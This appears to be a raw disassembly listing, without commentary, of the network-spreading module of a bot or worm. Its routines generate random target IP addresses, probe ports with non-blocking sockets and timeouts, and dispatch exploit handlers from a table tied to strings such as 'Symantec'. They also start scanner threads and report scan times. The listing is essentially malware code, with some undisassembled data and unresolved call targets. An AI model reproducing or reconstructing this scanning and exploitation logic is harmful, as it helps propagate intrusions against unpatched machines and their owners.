sub_40B71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B786	proc near		; CODE XREF: sub_401ACD+2ACAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE3A4
		push	offset unk_431F04
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 28h
		leave
		retn
sub_40B786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DB	proc near		; CODE XREF: sub_401ACD+2AB4p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F50
		push	eax
		call	sub_41B886
		cmp	dword_431B00, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B847
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B810:				; CODE XREF: sub_40B7DB+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B810
		pop	esi


loc_40B847:				; CODE XREF: sub_40B7DB+2Dj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DB	endp

; ---------------------------------------------------------------------------
word_40B8A2	dw 8B55h		; DATA XREF: sub_401ACD+30E1o
		dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h,	0BD8D59F0h
		dd 0FFFFFECCh, 80C7A5F3h, 128h,	1, 0FECC858Dh, 0FF50FFFFh
		dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h
		dd 840F087Dh, 118h, 431B00BBh
		db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------


loc_40B8F3:				; CODE XREF: ___:0040B9FEj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C088
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F4
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431FA0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98F
		lea	eax, [ebp-124h]


loc_40B98F:				; CODE XREF: ___:0040B987j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F4:				; CODE XREF: ___:0040B906j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F6C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		dw 0A9E8h
		db 45h,	2Dh, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA57	proc near		; CODE XREF: sub_401ACD+244Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_40BA93
		mov	eax, [ebp+arg_C]
		push	dword_4CB7A0[eax*8]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FF0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA6
; ---------------------------------------------------------------------------


loc_40BA93:				; CODE XREF: sub_40BA57+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431FD0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA6:				; CODE XREF: sub_40BA57+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		leave
		retn
sub_40BA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACE	proc near		; CODE XREF: sub_40C125+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BFA0
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431B0C[eax], ebx
		jz	loc_40BFA0
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BD55
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD85C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA6C, eax
		mov	dword_4CDA68, ebx
		call	near ptr 2670000h
		nop
		mov	edi, offset byte_42910C
		push	103h
		push	edi
		push	offset dword_4CD960
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD858, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAF0, eax
		jnz	short loc_40BB81
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, 1
		jmp	short loc_40BB9B
; ---------------------------------------------------------------------------


loc_40BB81:				; CODE XREF: sub_40BACE+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, ebx


loc_40BB9B:				; CODE XREF: sub_40BACE+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA6C
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDA64, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD858
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CDA64
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BC09


loc_40BBF7:				; CODE XREF: sub_40BACE+139j
		cmp	dword_4CDAF8, ebx
		jnz	short loc_40BC24
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_40BBF7
; ---------------------------------------------------------------------------


loc_40BC09:				; CODE XREF: sub_40BACE+127j
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432110
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC24:				; CODE XREF: sub_40BACE+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		mov	eax, dword_4CB390
		mov	esi, offset dword_4CDB04
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDD14, eax
		mov	dword_4CDD10, ebx
		nop
		call	near ptr 2670000h
		push	103h
		push	edi
		push	offset dword_4CDC08
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB00, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD98, eax
		push	7Fh
		jnz	short loc_40BCA5
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, 1
		jmp	short loc_40BCBF
; ---------------------------------------------------------------------------


loc_40BCA5:				; CODE XREF: sub_40BACE+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, ebx


loc_40BCBF:				; CODE XREF: sub_40BACE+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDD14
		push	offset unk_4320DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDD0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB00
		push	offset word_40E992
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CDD0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BD2D


loc_40BD1B:				; CODE XREF: sub_40BACE+25Dj
		cmp	dword_4CDDA0, ebx
		jnz	short loc_40BD48
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_40BD1B
; ---------------------------------------------------------------------------


loc_40BD2D:				; CODE XREF: sub_40BACE+24Bj
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4320A8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD48:				; CODE XREF: sub_40BACE+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BD55:				; CODE XREF: sub_40BACE+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431B14[ecx], ebx
		jz	loc_40BE7E
		push	7
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BE78
		mov	eax, dword_4CE39C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD7C4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD7B8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD7C0, ebx
		mov	dword_4CD848, eax
		push	7Fh
		jnz	short loc_40BDC9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, 1
		jmp	short loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BDC9:				; CODE XREF: sub_40BACE+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, ebx


loc_40BDE3:				; CODE XREF: sub_40BACE+2F9j
		push	dword_4CD7C4
		lea	eax, [ebp+var_204]
		push	offset unk_432078
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	dword_4CD7BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD7B8
		push	offset dword_40E6F0
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CD7BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BE50


loc_40BE3E:				; CODE XREF: sub_40BACE+380j
		cmp	dword_4CD850, ebx
		jnz	short loc_40BE6B
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_40BE3E
; ---------------------------------------------------------------------------


loc_40BE50:				; CODE XREF: sub_40BACE+36Ej
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432040
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6B:				; CODE XREF: sub_40BACE+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BE78:				; CODE XREF: sub_40BACE+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7E:				; CODE XREF: sub_40BACE+298j
		shl	eax, 6
		cmp	dword_431B10[eax], ebx
		jz	loc_40BFA0
		push	3
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BFA0
		mov	esi, offset dword_4CE034
		push	104h
		push	esi
		push	ebx
		call	near ptr 2670000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBF
		mov	[eax], bl


loc_40BEBF:				; CODE XREF: sub_40BACE+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE14C, ebx
		mov	dword_4CE138, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDAC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDDA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE138
		mov	dword_4CE144, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE148, ecx
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	dword_4CE140, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDDA8
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, dword_4CE140
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BF78


loc_40BF66:				; CODE XREF: sub_40BACE+4A8j
		cmp	dword_4CE154, ebx
		jnz	short loc_40BF93
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_40BF66
; ---------------------------------------------------------------------------


loc_40BF78:				; CODE XREF: sub_40BACE+496j
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43200C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF93:				; CODE XREF: sub_40BACE+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BFA0:				; CODE XREF: sub_40BACE+14j
					; sub_40BACE+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA4	proc near		; CODE XREF: sub_40C125:loc_40C196p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB7A0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB57C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB650
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEC	proc near		; CODE XREF: sub_40C125+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C014
		xor	eax, eax
		jmp	short loc_40C085
; ---------------------------------------------------------------------------


loc_40C014:				; CODE XREF: sub_40BFEC+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C041
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C041:				; CODE XREF: sub_40BFEC+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04E
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04E:				; CODE XREF: sub_40BFEC+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05B
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05B:				; CODE XREF: sub_40BFEC+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C067
		call	sub_41B8E2


loc_40C067:				; CODE XREF: sub_40BFEC+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB7A0[ecx*8], eax


loc_40C085:				; CODE XREF: sub_40BFEC+26j
		pop	esi
		leave
		retn
sub_40BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C088	proc near		; CODE XREF: ___:0040B8FBp
					; sub_40C125+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B1
		xor	eax, eax
		jmp	short loc_40C120
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40C088+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB654
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB63C
		push	esi
		mov	edi, eax
		call	dword_4CB6EC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C120:				; CODE XREF: sub_40C088+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C125	proc near		; DATA XREF: sub_40C125+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 26907ACh
		nop
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16C:				; CODE XREF: sub_40C125+204j
		mov	eax, dword_43E594[ebx]
		cmp	dword_4CB7A4[eax*8], 0
		jz	loc_40C32E
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C196
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEC
		pop	ecx
		jmp	short loc_40C19B
; ---------------------------------------------------------------------------


loc_40C196:				; CODE XREF: sub_40C125+60j
		call	sub_40BFA4


loc_40C19B:				; CODE XREF: sub_40C125+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E594[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43216C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E390[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C088
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C272
		push	offset dword_4CD7A0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432144
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C254
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C248
		lea	eax, [ebp+var_140]


loc_40C248:				; CODE XREF: sub_40C125+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A73
		add	esp, 14h


loc_40C254:				; CODE XREF: sub_40C125+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AD
		mov	[esp+29Ch+var_29C], offset dword_4CD7A0
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C31E
; ---------------------------------------------------------------------------


loc_40C272:				; CODE XREF: sub_40C125+D0j
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B7
		lea	eax, [ebp+var_140]


loc_40C2B7:				; CODE XREF: sub_40C125+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431B04[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31E:				; CODE XREF: sub_40C125+C6j
					; sub_40C125+148j
		push	7D0h
		call	near ptr 2670EC6h
		nop
		jmp	loc_40C16C
; ---------------------------------------------------------------------------


loc_40C32E:				; CODE XREF: sub_40C125+55j
		push	esi
		call	sub_40B413
		pop	ecx
		push	0
		call	near ptr 26E0000h
		nop


loc_40C33D:				; DATA XREF: sub_401ACD+1F82o
					; sub_401ACD+5C49o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB694
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB7A0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACE
		push	0Bh
		call	sub_40B33F
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40B
		mov	esi, offset dword_4CD7A0
		push	esi
		nop
		call	near ptr 26E0881h
		push	80000400h
		push	esi
		call	near ptr 26E06D0h
		nop
		test	eax, eax
		jnz	short loc_40C40B
		lea	eax, [ebp+var_1CC]
		push	offset unk_432250
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C3F5:				; CODE XREF: sub_40C125+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_40C125+27Bj
					; sub_40C125+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB7A4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D8


loc_40C429:				; CODE XREF: sub_40C125+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43221C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
